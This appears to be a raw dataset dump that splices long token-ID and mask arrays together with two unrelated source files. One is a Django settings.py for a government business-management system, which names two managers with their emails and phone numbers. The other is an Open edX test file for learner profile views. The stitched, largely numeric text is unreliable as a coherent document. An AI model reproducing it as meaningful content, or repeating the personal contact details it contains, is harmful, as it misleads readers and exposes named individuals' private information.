12, 1499, 9, 288, 6197, 63, 344, 275, 1056, 14, 6780, 14, 362, 360, 4995, 63, 344, 297, 4490, 291, 14, 2747, 14, 362, 360, 4995, 63, 344, 1333, 288, 340, 6197, 63, 344, 26, 355, 4660, 275, 3837, 8, 277, 14, 5328, 63, 633, 12, 1249, 1524, 4995, 63, 344, 566, 288, 587, 26, 355, 4660, 275, 3837, 360, 16561, 26, 1715, 26, 17292, 26, 1080, 358, 288, 4967, 14, 2479, 8, 1069, 12, 1499, 12, 4660, 29, 4876, 9, 288, 372, 398, 3415, 275, 942, 267, 367, 302, 315, 11759, 26, 288, 1851, 63, 354, 275, 302, 14, 354, 435, 7596, 283, 340, 302, 14, 354, 587, 2125, 288, 3415, 847, 3842, 5327, 14, 344, 12, 586, 1543, 83, 5, 83, 4366, 83, 3171, 450, 334, 846, 63, 354, 12, 6303, 14, 10509, 12, 3147, 6303, 14, 354, 503, 6303, 14, 344, 430, 717, 367, 6303, 315, 302, 459, 14967, 6538, 267, 340, 3415, 26, 288, 3415, 14, 3176, 8, 16, 12, 24727, 3824, 5446, 4804, 846, 13324, 267, 587, 26, 288, 3415, 14, 3176, 8, 16, 12, 24727, 3824, 1944, 18709, 2808, 13324, 267, 372, 3415, 339, 347, 2429, 8, 277, 12, 1056, 12, 666, 304, 267, 340, 666, 459, 711, 63, 1562, 2565, 288, 1844, 275, 291, 423, 525, 63, 3266, 63, 991, 63, 719, 8, 1069, 12, 666, 9, 267, 587, 26, 288, 1844, 275, 291, 423, 525, 63, 3266, 63, 991, 63, 5327, 8, 1069, 12, 666, 9, 267, 1499, 275, 4018, 4267, 3483, 358, 267, 340, 1844, 26, 288, 1499, 847, 283, 283, 435, 1844, 14, 5964, 63, 6142, 59, 16, 2733, 711, 63, 1562, 418, 267, 5051, 14, 1757, 8, 1328, 9, 267, 3788, 14, 3742, 8, 1069, 12, 1499, 9, 267, 372, 715, 339, 347, 485, 525, 63, 3266, 63, 991, 63, 5327, 8, 277, 12, 1056, 12, 666, 304, 267, 6197, 63, 344, 275, 666, 459, 4995, 63, 344, 418, 267, 862, 26, 288, 6197, 63, 4904, 275, 2986, 14, 10271, 14, 4995, 63, 525, 63, 3266, 8, 355, 1056, 12, 6197, 63, 344, 12, 6303, 63, 344, 29, 576, 459, 5327, 63, 344, 1105, 267, 871, 2186, 465, 325, 26, 288, 291, 423, 2479, 63, 705, 8, 1069, 12, 6197, 63, 344, 12, 325, 9, 267, 862, 26, 288, 1844, 275, 2986, 14, 10271, 14, 719, 63, 362, 8, 1069, 12, 6197, 63, 4904, 459, 719, 63, 344, 1105, 267, 871, 2186, 26, 288, 327, 14092, 376, 1125, 1380, 1844, 63, 362, 342, 3967, 652, 365, 2951, 288, 327, 370, 664, 376, 3531, 2287, 367, 314, 3217, 14, 288, 1844, 275, 488, 267, 372, 1844, 339, 347, 485, 525, 63, 3266, 63, 991, 63, 719, 8, 277, 12, 1056, 12, 666, 304, 267, 6197, 63, 344, 275, 666, 459, 4995, 63, 344, 418, 267, 6303, 63, 344, 275, 666, 459, 5327, 63, 344, 418, 267, 862, 26, 288, 6303, 275, 2986, 14, 10271, 14, 5327, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
parksandwildlife/ibms
ibms_project/settings.py
1
5554
from dbca_utils.utils import env import dj_database_url import os from pathlib import Path import sys # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = str(Path(__file__).resolve().parents[1]) PROJECT_DIR = str(Path(__file__).resolve().parents[0]) # Add PROJECT_DIR to the system path. sys.path.insert(0, PROJECT_DIR) # Settings defined in environment variables. DEBUG = env('DEBUG', False) SECRET_KEY = env('SECRET_KEY', 'PlaceholderSecretKey') CSRF_COOKIE_SECURE = env('CSRF_COOKIE_SECURE', False) SESSION_COOKIE_SECURE = env('SESSION_COOKIE_SECURE', False) if not DEBUG: ALLOWED_HOSTS = env('ALLOWED_DOMAINS', '').split(',') else: ALLOWED_HOSTS = ['*'] INTERNAL_IPS = ['127.0.0.1', '::1'] ROOT_URLCONF = 'ibms_project.urls' WSGI_APPLICATION = 'ibms_project.wsgi.application' INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.messages', 'django.contrib.sessions', 'django.contrib.staticfiles', 'django_extensions', 'raven.contrib.django.raven_compat', 'crispy_forms', 'webtemplate_dbca', 'ibms', 'sfm', ) MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'dbca_utils.middleware.SSOLoginMiddleware', ] AUTHENTICATION_BACKENDS = ( 'django.contrib.auth.backends.ModelBackend', ) TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': (os.path.join(BASE_DIR, 'ibms_project', 'templates'),), 'APP_DIRS': True, 'OPTIONS': { 'debug': DEBUG, 'context_processors': [ 'django.contrib.auth.context_processors.auth', 'django.template.context_processors.debug', 'django.template.context_processors.i18n', 'django.template.context_processors.media', 'django.template.context_processors.static', 'django.template.context_processors.tz', 'django.template.context_processors.request', 'django.template.context_processors.csrf', 'django.contrib.messages.context_processors.messages', 'ibms_project.context_processors.standard' ], }, } ] SITE_TITLE = 'Integrated Business Management System' SITE_ACRONYM = 'IBMS' APPLICATION_VERSION_NO = '2.4.5' ADMINS = ('asi@dbca.wa.gov.au',) MANAGERS = ( ('Graham Holmes', 'graham.holmes@dbca.wa.gov.au', '9881 9212'), ('Neil Clancy', 'neil.clancy@dbca.wa.gov.au', '9219 9926'), ) SITE_ID = 1 ANONYMOUS_USER_ID = 1 LOGIN_URL = '/login/' LOGIN_REDIRECT_URL = '/' CONFLUENCE_URL = env('CONFLUENCE_URL', '') # URLs to the IBM Code Updater spreadsheets on Confluence, so that the Custodian # can update them without a code change. IBM_CODE_UPDATER_URI = env('IBM_CODE_UPDATER_URI', '') IBM_SERVICE_PRIORITY_URI = env('IBM_SERVICE_PRIORITY_URI', '') IBM_RELOAD_URI = env('IBM_RELOAD_URI', '') IBM_DATA_AMEND_URI = env('IBM_DATA_AMEND_URI', '') HELP_URL = CONFLUENCE_URL CRISPY_TEMPLATE_PACK = 'bootstrap3' DATA_UPLOAD_MAX_NUMBER_FIELDS = None # Required to allow end-of-month GLPivot bulk deletes. # Database configuration DATABASES = { # Defined in DATABASE_URL env variable. 'default': dj_database_url.config(), } # Static files (CSS, JavaScript, Images) # Ensure that the media directory exists: if not os.path.exists(os.path.join(BASE_DIR, 'media')): os.mkdir(os.path.join(BASE_DIR, 'media')) MEDIA_ROOT = os.path.join(BASE_DIR, 'media') MEDIA_URL = '/media/' STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles') STATIC_URL = '/static/' STATICFILES_DIRS = (os.path.join(PROJECT_DIR, 'static'), ) # Internationalisation. USE_I18N = False USE_TZ = True TIME_ZONE = 'Australia/Perth' LANGUAGE_CODE = 'en-us' DATE_INPUT_FORMATS = ( '%d/%m/%y', '%d/%m/%Y', '%d-%m-%y', '%d-%m-%Y', '%d %b %Y', '%d %b, %Y', '%d %B %Y', '%d %B, %Y') DATETIME_INPUT_FORMATS = ( '%d/%m/%y %H:%M', '%d/%m/%Y %H:%M', '%d-%m-%y %H:%M', '%d-%m-%Y %H:%M',) # Email settings. EMAIL_HOST = env('EMAIL_HOST', 'email.host') EMAIL_PORT = env('EMAIL_PORT', 25) # Logging settings - log to stdout/stderr LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'formatters': { 'console': {'format': '%(asctime)s %(name)-12s %(message)s'}, 'verbose': {'format': '%(asctime)s %(levelname)-8s %(message)s'}, }, 'handlers': { 'console': { 'level': 'INFO', 'class': 'logging.StreamHandler', 'formatter': 'console' }, 'sentry': { 'level': 'WARNING', 'class': 'raven.contrib.django.raven_compat.handlers.SentryHandler', }, }, 'loggers': { 'django': { 'handlers': ['console'], 'propagate': True, }, 'django.request': { 'handlers': ['console', 'sentry'], 'level': 'WARNING', 'propagate': False, }, 'ibms': { 'handlers': ['console'], 'level': 'INFO' }, } } # Sentry configuration if env('RAVEN_DSN', False): RAVEN_CONFIG = {'dsn': env('RAVEN_DSN')}
apache-2.0
[ 504, 1592, 696, 63, 1208, 14, 1208, 492, 2589, 199, 646, 366, 74, 63, 4659, 63, 633, 199, 646, 747, 199, 504, 32212, 492, 6912, 199, 646, 984, 199, 199, 3, 6516, 3792, 6272, 314, 2199, 2839, 642, 26, 747, 14, 515, 14, 904, 8, 5825, 63, 3022, 12, 19172, 199, 5825, 63, 3022, 275, 620, 8, 2042, 3460, 493, 28634, 6983, 1252, 8859, 59, 17, 566, 199, 10797, 63, 3022, 275, 620, 8, 2042, 3460, 493, 28634, 6983, 1252, 8859, 59, 16, 566, 199, 3, 2654, 21915, 63, 3022, 370, 314, 2656, 931, 14, 199, 1274, 14, 515, 14, 3176, 8, 16, 12, 21915, 63, 3022, 9, 199, 199, 3, 13303, 3247, 315, 3734, 2860, 14, 199, 5287, 275, 2589, 360, 5287, 297, 756, 9, 199, 12961, 63, 3078, 275, 2589, 360, 12961, 63, 3078, 297, 283, 20185, 13790, 1197, 358, 199, 26405, 63, 13665, 63, 20696, 275, 2589, 360, 26405, 63, 13665, 63, 20696, 297, 756, 9, 199, 12763, 63, 13665, 63, 20696, 275, 2589, 360, 12763, 63, 13665, 63, 20696, 297, 756, 9, 199, 692, 440, 10990, 26, 272, 27805, 1149, 63, 23775, 275, 2589, 360, 17350, 63, 7378, 51, 297, 12548, 1294, 11917, 199, 2836, 26, 272, 27805, 1149, 63, 23775, 275, 788, 10, 418, 199, 17681, 63, 12346, 275, 788, 4195, 14, 16, 14, 16, 14, 17, 297, 19069, 17, 418, 199, 5441, 63, 18125, 275, 283, 1892, 706, 63, 1715, 14, 3603, 7, 199, 16828, 63, 24051, 275, 283, 1892, 706, 63, 1715, 14, 6508, 14, 3578, 7, 199, 15942, 63, 14219, 275, 334, 272, 283, 1176, 14, 2828, 14, 2113, 297, 272, 283, 1176, 14, 2828, 14, 1178, 297, 272, 283, 1176, 14, 2828, 14, 10778, 297, 272, 283, 1176, 14, 2828, 14, 3431, 297, 272, 283, 1176, 14, 2828, 14, 11676, 297, 272, 283, 1176, 14, 2828, 14, 18373, 297, 272, 283, 1176, 63, 5359, 297, 272, 283, 345, 1856, 14, 2828, 14, 1176, 14, 345, 1856, 63, 5819, 297, 272, 283, 1408, 15252, 63, 3351, 297, 272, 283, 2520, 1160, 63, 697, 696, 297, 272, 283, 1892, 706, 297, 272, 283, 7646, 77, 297, 199, 9, 199, 19987, 275, 359, 272, 283, 1176, 14, 5754, 14, 4416, 14, 7676, 6608, 297, 272, 283, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 297, 272, 283, 1176, 14, 5754, 14, 2330, 14, 7844, 6608, 297, 272, 283, 1176, 14, 5754, 14, 10088, 14, 13912, 25322, 297, 272, 283, 1176, 14, 2828, 14, 1178, 14, 5754, 14, 10348, 6608, 297, 272, 283, 1176, 14, 2828, 14, 3431, 14, 5754, 14, 2209, 6608, 297, 272, 283, 1176, 14, 5754, 14, 4891, 19193, 316, 14, 56, 3160, 4558, 6608, 297, 272, 283, 697, 696, 63, 1208, 14, 5754, 14, 2300, 47, 8880, 6608, 297, 199, 61, 199, 29599, 63, 28988, 275, 334, 272, 283, 1176, 14, 2828, 14, 1178, 14, 7765, 14, 1685, 8447, 297, 199, 9, 199, 25437, 275, 359, 272, 469, 267, 283, 18145, 356, 283, 1176, 14, 1160, 14, 7765, 14, 1176, 14, 9323, 17969, 297, 267, 283, 14455, 356, 334, 736, 14, 515, 14, 904, 8, 5825, 63, 3022, 12, 283, 1892, 706, 63, 1715, 297, 283, 5876, 659, 395, 267, 283, 7121, 63, 14455, 356, 715, 12, 267, 283, 8808, 356, 469, 288, 283, 1757, 356, 10990, 12, 288, 283, 1100, 63, 10547, 356, 359, 355, 283, 1176, 14, 2828, 14, 1178, 14, 1100, 63, 10547, 14, 1178, 297, 355, 283, 1176, 14, 1160, 14, 1100, 63, 10547, 14, 1757, 297, 355, 283, 1176, 14, 1160, 14, 1100, 63, 10547, 14, 73, 1085, 78, 297, 355, 283, 1176, 14, 1160, 14, 1100, 63, 10547, 14, 4603, 297, 355, 283, 1176, 14, 1160, 14, 1100, 63, 10547, 14, 1986, 297, 355, 283, 1176, 14, 1160, 14, 1100, 63, 10547, 14, 3903, 297, 355, 283, 1176, 14, 1160, 14, 1100, 63, 10547, 14, 1069, 297, 355, 283, 1176, 14, 1160, 14, 1100, 63, 10547, 14, 10088, 297, 355, 283, 1176, 14, 2828, 14, 3431, 14, 1100, 63, 10547, 14, 3431, 297, 355, 283, 1892, 706, 63, 1715, 14, 1100, 63, 10547, 14, 6807, 7, 288, 2156, 267, 1660, 272, 789, 199, 61, 199, 7917, 63, 19091, 275, 283, 8309, 2587, 972, 23813, 8259, 6187, 7, 199, 7917, 63, 1348, 12758, 57, 45, 275, 283, 2100, 3053, 7, 199, 24051, 63, 4612, 63, 2826, 275, 283, 18, 14, 20, 14, 21, 7, 199, 14288, 51, 275, 661, 24950, 32, 697, 696, 14, 758, 14, 16294, 14, 3844, 9538, 199, 20600, 3960, 275, 334, 272, 661, 5761, 10670, 869, 393, 6415, 297, 283, 926, 10670, 14, 24588, 6415, 32, 697, 696, 14, 758, 14, 16294, 14, 3844, 297, 283, 25, 18388, 1749, 11722, 659, 272, 661, 4698, 382, 445, 1502, 1480, 297, 283, 685, 382, 14, 429, 9844, 32, 697, 696, 14, 758, 14, 16294, 14, 3844, 297, 283, 2942, 1167, 8806, 1479, 659, 199, 9, 199, 7917, 63, 998, 275, 413, 199, 879, 32537, 2679, 1668, 63, 3791, 63, 998, 275, 413, 199, 17208, 63, 2632, 275, 1994, 2886, 4805, 199, 17208, 63, 19747, 63, 2632, 275, 7324, 199, 3103, 20237, 6013, 63, 2632, 275, 2589, 360, 3103, 20237, 6013, 63, 2632, 297, 4074, 199, 3, 10867, 370, 314, 26202, 5495, 6162, 82, 27076, 83, 641, 1448, 24585, 12, 880, 626, 314, 445, 833, 79, 6268, 199, 3, 883, 1678, 3062, 1928, 282, 1233, 1570, 14, 199, 2100, 45, 63, 6012, 63, 23612, 540, 63, 7639, 275, 2589, 360, 2100, 45, 63, 6012, 63, 23612, 540, 63, 7639, 297, 4074, 199, 2100, 45, 63, 10486, 63, 25144, 63, 7639, 275, 2589, 360, 2100, 45, 63, 10486, 63, 25144, 63, 7639, 297, 4074, 199, 2100, 45, 63, 907, 7405, 63, 7639, 275, 2589, 360, 2100, 45, 63, 907, 7405, 63, 7639, 297, 4074, 199, 2100, 45, 63, 3998, 63, 1156, 3902, 63, 7639, 275, 2589, 360, 2100, 45, 63, 3998, 63, 1156, 3902, 63, 7639, 297, 4074, 199, 17930, 63, 2632, 275, 1868, 3143, 53, 6013, 63, 2632, 199, 2944, 1311, 4521, 63, 7433, 63, 6961, 275, 283, 11146, 19, 7, 199, 3998, 63, 16418, 63, 4283, 63, 9190, 63, 12767, 275, 488, 221, 327, 11105, 370 ]
[ 1592, 696, 63, 1208, 14, 1208, 492, 2589, 199, 646, 366, 74, 63, 4659, 63, 633, 199, 646, 747, 199, 504, 32212, 492, 6912, 199, 646, 984, 199, 199, 3, 6516, 3792, 6272, 314, 2199, 2839, 642, 26, 747, 14, 515, 14, 904, 8, 5825, 63, 3022, 12, 19172, 199, 5825, 63, 3022, 275, 620, 8, 2042, 3460, 493, 28634, 6983, 1252, 8859, 59, 17, 566, 199, 10797, 63, 3022, 275, 620, 8, 2042, 3460, 493, 28634, 6983, 1252, 8859, 59, 16, 566, 199, 3, 2654, 21915, 63, 3022, 370, 314, 2656, 931, 14, 199, 1274, 14, 515, 14, 3176, 8, 16, 12, 21915, 63, 3022, 9, 199, 199, 3, 13303, 3247, 315, 3734, 2860, 14, 199, 5287, 275, 2589, 360, 5287, 297, 756, 9, 199, 12961, 63, 3078, 275, 2589, 360, 12961, 63, 3078, 297, 283, 20185, 13790, 1197, 358, 199, 26405, 63, 13665, 63, 20696, 275, 2589, 360, 26405, 63, 13665, 63, 20696, 297, 756, 9, 199, 12763, 63, 13665, 63, 20696, 275, 2589, 360, 12763, 63, 13665, 63, 20696, 297, 756, 9, 199, 692, 440, 10990, 26, 272, 27805, 1149, 63, 23775, 275, 2589, 360, 17350, 63, 7378, 51, 297, 12548, 1294, 11917, 199, 2836, 26, 272, 27805, 1149, 63, 23775, 275, 788, 10, 418, 199, 17681, 63, 12346, 275, 788, 4195, 14, 16, 14, 16, 14, 17, 297, 19069, 17, 418, 199, 5441, 63, 18125, 275, 283, 1892, 706, 63, 1715, 14, 3603, 7, 199, 16828, 63, 24051, 275, 283, 1892, 706, 63, 1715, 14, 6508, 14, 3578, 7, 199, 15942, 63, 14219, 275, 334, 272, 283, 1176, 14, 2828, 14, 2113, 297, 272, 283, 1176, 14, 2828, 14, 1178, 297, 272, 283, 1176, 14, 2828, 14, 10778, 297, 272, 283, 1176, 14, 2828, 14, 3431, 297, 272, 283, 1176, 14, 2828, 14, 11676, 297, 272, 283, 1176, 14, 2828, 14, 18373, 297, 272, 283, 1176, 63, 5359, 297, 272, 283, 345, 1856, 14, 2828, 14, 1176, 14, 345, 1856, 63, 5819, 297, 272, 283, 1408, 15252, 63, 3351, 297, 272, 283, 2520, 1160, 63, 697, 696, 297, 272, 283, 1892, 706, 297, 272, 283, 7646, 77, 297, 199, 9, 199, 19987, 275, 359, 272, 283, 1176, 14, 5754, 14, 4416, 14, 7676, 6608, 297, 272, 283, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 297, 272, 283, 1176, 14, 5754, 14, 2330, 14, 7844, 6608, 297, 272, 283, 1176, 14, 5754, 14, 10088, 14, 13912, 25322, 297, 272, 283, 1176, 14, 2828, 14, 1178, 14, 5754, 14, 10348, 6608, 297, 272, 283, 1176, 14, 2828, 14, 3431, 14, 5754, 14, 2209, 6608, 297, 272, 283, 1176, 14, 5754, 14, 4891, 19193, 316, 14, 56, 3160, 4558, 6608, 297, 272, 283, 697, 696, 63, 1208, 14, 5754, 14, 2300, 47, 8880, 6608, 297, 199, 61, 199, 29599, 63, 28988, 275, 334, 272, 283, 1176, 14, 2828, 14, 1178, 14, 7765, 14, 1685, 8447, 297, 199, 9, 199, 25437, 275, 359, 272, 469, 267, 283, 18145, 356, 283, 1176, 14, 1160, 14, 7765, 14, 1176, 14, 9323, 17969, 297, 267, 283, 14455, 356, 334, 736, 14, 515, 14, 904, 8, 5825, 63, 3022, 12, 283, 1892, 706, 63, 1715, 297, 283, 5876, 659, 395, 267, 283, 7121, 63, 14455, 356, 715, 12, 267, 283, 8808, 356, 469, 288, 283, 1757, 356, 10990, 12, 288, 283, 1100, 63, 10547, 356, 359, 355, 283, 1176, 14, 2828, 14, 1178, 14, 1100, 63, 10547, 14, 1178, 297, 355, 283, 1176, 14, 1160, 14, 1100, 63, 10547, 14, 1757, 297, 355, 283, 1176, 14, 1160, 14, 1100, 63, 10547, 14, 73, 1085, 78, 297, 355, 283, 1176, 14, 1160, 14, 1100, 63, 10547, 14, 4603, 297, 355, 283, 1176, 14, 1160, 14, 1100, 63, 10547, 14, 1986, 297, 355, 283, 1176, 14, 1160, 14, 1100, 63, 10547, 14, 3903, 297, 355, 283, 1176, 14, 1160, 14, 1100, 63, 10547, 14, 1069, 297, 355, 283, 1176, 14, 1160, 14, 1100, 63, 10547, 14, 10088, 297, 355, 283, 1176, 14, 2828, 14, 3431, 14, 1100, 63, 10547, 14, 3431, 297, 355, 283, 1892, 706, 63, 1715, 14, 1100, 63, 10547, 14, 6807, 7, 288, 2156, 267, 1660, 272, 789, 199, 61, 199, 7917, 63, 19091, 275, 283, 8309, 2587, 972, 23813, 8259, 6187, 7, 199, 7917, 63, 1348, 12758, 57, 45, 275, 283, 2100, 3053, 7, 199, 24051, 63, 4612, 63, 2826, 275, 283, 18, 14, 20, 14, 21, 7, 199, 14288, 51, 275, 661, 24950, 32, 697, 696, 14, 758, 14, 16294, 14, 3844, 9538, 199, 20600, 3960, 275, 334, 272, 661, 5761, 10670, 869, 393, 6415, 297, 283, 926, 10670, 14, 24588, 6415, 32, 697, 696, 14, 758, 14, 16294, 14, 3844, 297, 283, 25, 18388, 1749, 11722, 659, 272, 661, 4698, 382, 445, 1502, 1480, 297, 283, 685, 382, 14, 429, 9844, 32, 697, 696, 14, 758, 14, 16294, 14, 3844, 297, 283, 2942, 1167, 8806, 1479, 659, 199, 9, 199, 7917, 63, 998, 275, 413, 199, 879, 32537, 2679, 1668, 63, 3791, 63, 998, 275, 413, 199, 17208, 63, 2632, 275, 1994, 2886, 4805, 199, 17208, 63, 19747, 63, 2632, 275, 7324, 199, 3103, 20237, 6013, 63, 2632, 275, 2589, 360, 3103, 20237, 6013, 63, 2632, 297, 4074, 199, 3, 10867, 370, 314, 26202, 5495, 6162, 82, 27076, 83, 641, 1448, 24585, 12, 880, 626, 314, 445, 833, 79, 6268, 199, 3, 883, 1678, 3062, 1928, 282, 1233, 1570, 14, 199, 2100, 45, 63, 6012, 63, 23612, 540, 63, 7639, 275, 2589, 360, 2100, 45, 63, 6012, 63, 23612, 540, 63, 7639, 297, 4074, 199, 2100, 45, 63, 10486, 63, 25144, 63, 7639, 275, 2589, 360, 2100, 45, 63, 10486, 63, 25144, 63, 7639, 297, 4074, 199, 2100, 45, 63, 907, 7405, 63, 7639, 275, 2589, 360, 2100, 45, 63, 907, 7405, 63, 7639, 297, 4074, 199, 2100, 45, 63, 3998, 63, 1156, 3902, 63, 7639, 275, 2589, 360, 2100, 45, 63, 3998, 63, 1156, 3902, 63, 7639, 297, 4074, 199, 17930, 63, 2632, 275, 1868, 3143, 53, 6013, 63, 2632, 199, 2944, 1311, 4521, 63, 7433, 63, 6961, 275, 283, 11146, 19, 7, 199, 3998, 63, 16418, 63, 4283, 63, 9190, 63, 12767, 275, 488, 221, 327, 11105, 370, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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 Tests for student profile views. """ from django.conf import settings from django.core.urlresolvers import reverse from django.test import TestCase from django.test.client import RequestFactory from util.testing import UrlResetMixin from student.tests.factories import UserFactory from student_profile.views import learner_profile_context class LearnerProfileViewTest(UrlResetMixin, TestCase): """ Tests for the student profile view. """ USERNAME = "username" PASSWORD = "password" CONTEXT_DATA = [ 'default_public_account_fields', 'accounts_api_url', 'preferences_api_url', 'account_settings_page_url', 'has_preferences_access', 'own_profile', 'country_options', 'language_options', 'account_settings_data', 'preferences_data', ] def setUp(self): super(LearnerProfileViewTest, self).setUp() self.user = UserFactory.create(username=self.USERNAME, password=self.PASSWORD) self.client.login(username=self.USERNAME, password=self.PASSWORD) def test_context(self): """ Verify learner profile page context data. """ request = RequestFactory().get('/url') request.user = self.user context = learner_profile_context(request, self.USERNAME, self.user.is_staff) self.assertEqual( context['data']['default_public_account_fields'], settings.ACCOUNT_VISIBILITY_CONFIGURATION['public_fields'] ) self.assertEqual( context['data']['accounts_api_url'], reverse("accounts_api", kwargs={'username': self.user.username}) ) self.assertEqual( context['data']['preferences_api_url'], reverse('preferences_api', kwargs={'username': self.user.username}) ) self.assertEqual( context['data']['profile_image_upload_url'], reverse("profile_image_upload", kwargs={'username': self.user.username}) ) self.assertEqual( context['data']['profile_image_remove_url'], reverse('profile_image_remove', kwargs={'username': self.user.username}) ) self.assertEqual( context['data']['profile_image_max_bytes'], settings.PROFILE_IMAGE_MAX_BYTES ) self.assertEqual( context['data']['profile_image_min_bytes'], settings.PROFILE_IMAGE_MIN_BYTES ) self.assertEqual(context['data']['account_settings_page_url'], reverse('account_settings')) for attribute in self.CONTEXT_DATA: self.assertIn(attribute, context['data']) def test_view(self): """ Verify learner profile page view. """ profile_path = reverse('learner_profile', kwargs={'username': self.USERNAME}) response = self.client.get(path=profile_path) for attribute in self.CONTEXT_DATA: self.assertIn(attribute, response.content) def test_undefined_profile_page(self): """ Verify that a 404 is returned for a non-existent profile page. """ profile_path = reverse('learner_profile', kwargs={'username': "no_such_user"}) response = self.client.get(path=profile_path) self.assertEqual(404, response.status_code)
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 6496, 367, 6474, 4690, 6858, 14, 408, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 504, 1639, 14, 396, 492, 7640, 199, 504, 1639, 14, 396, 14, 1258, 492, 18638, 199, 199, 504, 4884, 14, 4776, 492, 20503, 9637, 4256, 199, 504, 6474, 14, 2219, 14, 15406, 492, 16047, 199, 199, 504, 6474, 63, 2913, 14, 4196, 492, 22876, 63, 2913, 63, 1100, 421, 199, 533, 7005, 1060, 281, 5736, 2768, 774, 8, 6417, 9637, 4256, 12, 7640, 304, 272, 408, 6496, 367, 314, 6474, 4690, 2455, 14, 408, 339, 13044, 2339, 275, 298, 2473, 2, 272, 21705, 5172, 275, 298, 2060, 2, 272, 1868, 3876, 63, 3998, 275, 359, 267, 283, 885, 63, 3455, 63, 2048, 63, 955, 297, 267, 283, 8370, 63, 1246, 63, 633, 297, 267, 283, 18063, 63, 1246, 63, 633, 297, 267, 283, 2048, 63, 1751, 63, 1606, 63, 633, 297, 267, 283, 1989, 63, 18063, 63, 2732, 297, 267, 283, 944, 63, 2913, 297, 267, 283, 6063, 63, 1419, 297, 267, 283, 3671, 63, 1419, 297, 267, 283, 2048, 63, 1751, 63, 576, 297, 267, 283, 18063, 63, 576, 297, 272, 1622, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 21424, 281, 5736, 2768, 774, 12, 291, 680, 5996, 342, 267, 291, 14, 751, 275, 16047, 14, 981, 8, 2473, 29, 277, 14, 11958, 12, 2505, 29, 277, 14, 9032, 9, 267, 291, 14, 1258, 14, 2886, 8, 2473, 29, 277, 14, 11958, 12, 2505, 29, 277, 14, 9032, 9, 339, 347, 511, 63, 1100, 8, 277, 304, 267, 408, 267, 7635, 22876, 4690, 2034, 1067, 666, 14, 267, 408, 267, 1056, 275, 18638, 1252, 362, 2336, 633, 358, 267, 1056, 14, 751, 275, 291, 14, 751, 398, 1067, 275, 22876, 63, 2913, 63, 1100, 8, 1069, 12, 291, 14, 11958, 12, 291, 14, 751, 14, 374, 63, 7018, 9, 398, 291, 14, 629, 8, 288, 1067, 459, 576, 2545, 885, 63, 3455, 63, 2048, 63, 955, 995, 288, 2202, 14, 18928, 63, 11793, 9002, 63, 22212, 459, 3455, 63, 955, 418, 267, 776, 398, 291, 14, 629, 8, 288, 1067, 459, 576, 2545, 8370, 63, 1246, 63, 633, 995, 288, 3837, 480, 8370, 63, 1246, 401, 2074, 3713, 2473, 356, 291, 14, 751, 14, 2473, 1552, 267, 776, 398, 291, 14, 629, 8, 288, 1067, 459, 576, 2545, 18063, 63, 1246, 63, 633, 995, 288, 3837, 360, 18063, 63, 1246, 297, 2074, 3713, 2473, 356, 291, 14, 751, 14, 2473, 1552, 267, 776, 398, 291, 14, 629, 8, 288, 1067, 459, 576, 2545, 2913, 63, 1569, 63, 5064, 63, 633, 995, 288, 3837, 480, 2913, 63, 1569, 63, 5064, 401, 2074, 3713, 2473, 356, 291, 14, 751, 14, 2473, 1552, 267, 776, 398, 291, 14, 629, 8, 288, 1067, 459, 576, 2545, 2913, 63, 1569, 63, 2168, 63, 633, 995, 288, 3837, 360, 2913, 63, 1569, 63, 2168, 297, 